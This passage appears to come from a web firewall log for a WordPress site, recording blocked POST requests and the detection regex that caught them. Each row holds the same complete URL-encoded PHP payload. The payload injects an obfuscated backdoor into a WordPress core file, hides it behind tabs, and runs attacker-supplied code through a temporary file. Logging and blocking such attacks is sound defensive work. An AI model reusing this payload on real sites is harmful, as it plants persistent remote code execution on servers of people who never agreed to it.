%2520%2524dec%2520%253D%2528%2520%2528%2520int%2529%2524v3%2520-%2520%2524sChar%2520-%2528%2520%2524y%2520%2525%252010%2529%2529%2520%255E%252071%253B%2520%2524resource%2520.%253D%2520chr%2528%2520%2524dec%2529%253B%2520%257D%2520%2524obj%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520foreach%2520%2528%2524obj%2520as%2520%2524key%2520%253D%253E%2520%2524itm%2529%2520%257B%2520if%2520%2528is_dir%2528%2524itm%2529%2520%2526%2526%2520is_writable%2528%2524itm%2529%2529%2520%257B%2520%2524token%2520%253D%2520str_replace%2528%2522%257Bvar_dir%257D%2522%252C%2520%2524itm%252C%2520%2522%257Bvar_dir%257D\/.ent%2522%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524token%252C%2520%2524resource%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524token%253B%2520unlink%2528%2524token%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:4556\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoytvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqTIxVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua-mobile:?0\n\nnX=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sitemaps\/class-wp-sitemaps-registry.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522%255Cx70%255Cx6Fi%255Cx6Eter%2522%2529%2529%257B%2520%2524desc%2520%253D%2520%2524_REQUEST%255B%2522%255Cx70%255Cx6Fi%255Cx6Eter%2522%255D%253B%2520%2524desc%2520%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524desc%2520%2529%253B%2520%2524resource%2520%253D%2527%2527%253B%2520%2524s1%2520%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253Dstrlen%2528%2520%2524s1%2529%253B%2520%2524len%2520%253Dcount%2528%2520%2524desc%2529%253B%2520for%2528%2520%2524y%2520%253D0%253B%2520%2524y%2520%253C%2520%2524len%253B%2520%2524y%252B%252B%2529%2520%257B%2520%2524v3%2520%253D%2524desc%255B%2524y%255D%253B%2520%2524sChar%2520%253Dord%2528%2520%2524s1%255B%2524y%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524dec%2520%253D%2528%2520%2528%2520int%2529%2524v3%2520-%2520%2524sChar%2520-%2528%2520%2524y%2520%2525%252010%2529%2529%2520%255E%252071%253B%2520%2524resource%2520.%253D%2520chr%2528%2520%2524dec%2529%253B%2520%257D%2520%2524obj%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520foreach%2520%2528%2524obj%2520as%2520%2524key%2520%253D%253E%2520%2524itm%2529%2520%257B%2520if%2520%2528is_dir%2528%2524itm%2529%2520%2526%2526%2520is_writable%2528%2524itm%2529%2529%2520%257B%2520%2524token%2520%253D%2520str_replace%2528%2522%257Bvar_dir%257D%2522%252C%2520%2524itm%252C%2520%2522%257Bvar_dir%257D\/.ent%2522%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524token%252C%2520%2524resource%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524token%253B%2520unlink%2528%2524token%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:48:04","43.230.201.87","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Eh:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sitemaps\/class-wp-sitemaps-registry.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522%255Cx70%255Cx6Fi%255Cx6Eter%2522%2529%2529%257B%2520%2524desc%2520%253D%2520%2524_REQUEST%255B%2522%255Cx70%255Cx6Fi%255Cx6Eter%2522%255D%253B%2520%2524desc%2520%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524desc%2520%2529%253B%2520%2524resource%2520%253D%2527%2527%253B%2520%2524s1%2520%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253Dstrlen%2528%2520%2524s1%2529%253B%2520%2524len%2520%253Dcount%2528%2520%2524desc%2529%253B%2520for%2528%2520%2524y%2520%253D0%253B%2520%2524y%2520%253C%2520%2524len%253B%2520%2524y%252B%252B%2529%2520%257B%2520%2524v3%2520%253D%2524desc%255B%2524y%255D%253B%2520%2524sChar%2520%253Dord%2528%2520%2524s1%255B%2524y%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524dec%2520%253D%2528%2520%2528%2520int%2529%2524v3%2520-%2520%2524sChar%2520-%2528%2520%2524y%2520%2525%252010%2529%2529%2520%255E%252071%253B%2520%2524resource%2520.%253D%2520chr%2528%2520%2524dec%2529%253B%2520%257D%2520%2524obj%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520foreach%2520%2528%2524obj%2520as%2520%2524key%2520%253D%253E%2520%2524itm%2529%2520%257B%2520if%2520%2528is_dir%2528%2524itm%2529%2520%2526%2526%2520is_writable%2528%2524itm%2529%2529%2520%257B%2520%2524token%2520%253D%2520str_replace%2528%2522%257Bvar_dir%257D%2522%252C%2520%2524itm%252C%2520%2522%257Bvar_dir%257D\/.ent%2522%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524token%252C%2520%2524resource%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524token%253B%2520unlink%2528%2524token%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:4556\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvEJtvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAioaEyoaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-ch-ua-mobile:?0\n\nEh=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sitemaps\/class-wp-sitemaps-registry.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522%255Cx70%255Cx6Fi%255Cx6Eter%2522%2529%2529%257B%2520%2524desc%2520%253D%2520%2524_REQUEST%255B%2522%255Cx70%255Cx6Fi%255Cx6Eter%2522%255D%253B%2520%2524desc%2520%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524desc%2520%2529%253B%2520%2524resource%2520%253D%2527%2527%253B%2520%2524s1%2520%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253Dstrlen%2528%2520%2524s1%2529%253B%2520%2524len%2520%253Dcount%2528%2520%2524desc%2529%253B%2520for%2528%2520%2524y%2520%253D0%253B%2520%2524y%2520%253C%2520%2524len%253B%2520%2524y%252B%252B%2529%2520%257B%2520%2524v3%2520%253D%2524desc%255B%2524y%255D%253B%2520%2524sChar%2520%253Dord%2528%2520%2524s1%255B%2524y%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524dec%2520%253D%2528%2520%2528%2520int%2529%2524v3%2520-%2520%2524sChar%2520-%2528%2520%2524y%2520%2525%252010%2529%2529%2520%255E%252071%253B%2520%2524resource%2520.%253D%2520chr%2528%2520%2524dec%2529%253B%2520%257D%2520%2524obj%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520foreach%2520%2528%2524obj%2520as%2520%2524key%2520%253D%253E%2520%2524itm%2529%2520%257B%2520if%2520%2528is_dir%2528%2524itm%2529%2520%2526%2526%2520is_writable%2528%2524itm%2529%2529%2520%257B%2520%2524token%2520%253D%2520str_replace%2528%2522%257Bvar_dir%257D%2522%252C%2520%2524itm%252C%2520%2522%257Bvar_dir%257D\/.ent%2522%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524token%252C%2520%2524resource%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524token%253B%2520unlink%2528%2524token%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:48:06","78.142.18.172","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Kb:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sitemaps\/class-wp-sitemaps-registry.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522%255Cx70%255Cx6Fi%255Cx6Eter%2522%2529%2529%257B%2520%2524desc%2520%253D%2520%2524_REQUEST%255B%2522%255Cx70%255Cx6Fi%255Cx6Eter%2522%255D%253B%2520%2524desc%2520%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524desc%2520%2529%253B%2520%2524resource%2520%253D%2527%2527%253B%2520%2524s1%2520%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253Dstrlen%2528%2520%2524s1%2529%253B%2520%2524len%2520%253Dcount%2528%2520%2524desc%2529%253B%2520for%2528%2520%2524y%2520%253D0%253B%2520%2524y%2520%253C%2520%2524len%253B%2520%2524y%252B%252B%2529%2520%257B%2520%2524v3%2520%253D%2524desc%255B%2524y%255D%253B%2520%2524sChar%2520%253Dord%2528%2520%2524s1%255B%2524y%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524dec%2520%253D%2528%2520%2528%2520int%2529%2524v3%2520-%2520%2524sChar%2520-%2528%2520%2524y%2520%2525%252010%2529%2529%2520%255E%252071%253B%2520%2524resource%2520.%253D%2520chr%2528%2520%2524dec%2529%253B%2520%257D%2520%2524obj%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520foreach%2520%2528%2524obj%2520as%2520%2524key%2520%253D%253E%2520%2524itm%2529%2520%257B%2520if%2520%2528is_dir%2528%2524itm%2529%2520%2526%2526%2520is_writable%2528%2524itm%2529%2529%2520%257B%2520%2524token%2520%253D%2520str_replace%2528%2522%257Bvar_dir%257D%2522%252C%2520%2524itm%252C%2520%2522%257Bvar_dir%257D\/.ent%2522%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524token%252C%2520%2524resource%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524token%253B%2520unlink%2528%2524token%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:4556\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvF2VvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmMKZvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-ch-ua-mobile:?0\n\nKb=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sitemaps\/class-wp-sitemaps-registry.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522%255Cx70%255Cx6Fi%255Cx6Eter%2522%2529%2529%257B%2520%2524desc%2520%253D%2520%2524_REQUEST%255B%2522%255Cx70%255Cx6Fi%255Cx6Eter%2522%255D%253B%2520%2524desc%2520%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524desc%2520%2529%253B%2520%2524resource%2520%253D%2527%2527%253B%2520%2524s1%2520%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253Dstrlen%2528%2520%2524s1%2529%253B%2520%2524len%2520%253Dcount%2528%2520%2524desc%2529%253B%2520for%2528%2520%2524y%2520%253D0%253B%2520%2524y%2520%253C%2520%2524len%253B%2520%2524y%252B%252B%2529%2520%257B%2520%2524v3%2520%253D%2524desc%255B%2524y%255D%253B%2520%2524sChar%2520%253Dord%2528%2520%2524s1%255B%2524y%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524dec%2520%253D%2528%2520%2528%2520int%2529%2524v3%2520-%2520%2524sChar%2520-%2528%2520%2524y%2520%2525%252010%2529%2529%2520%255E%252071%253B%2520%2524resource%2520.%253D%2520chr%2528%2520%2524dec%2529%253B%2520%257D%2520%2524obj%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520foreach%2520%2528%2524obj%2520as%2520%2524key%2520%253D%253E%2520%2524itm%2529%2520%257B%2520if%2520%2528is_dir%2528%2524itm%2529%2520%2526%2526%2520is_writable%2528%2524itm%2529%2529%2520%257B%2520%2524token%2520%253D%2520str_replace%2528%2522%257Bvar_dir%257D%2522%252C%2520%2524itm%252C%2520%2522%257Bvar_dir%257D\/.ent%2522%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524token%252C%2520%2524resource%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524token%253B%2520unlink%2528%2524token%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:48:07","144.76.215.54","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> 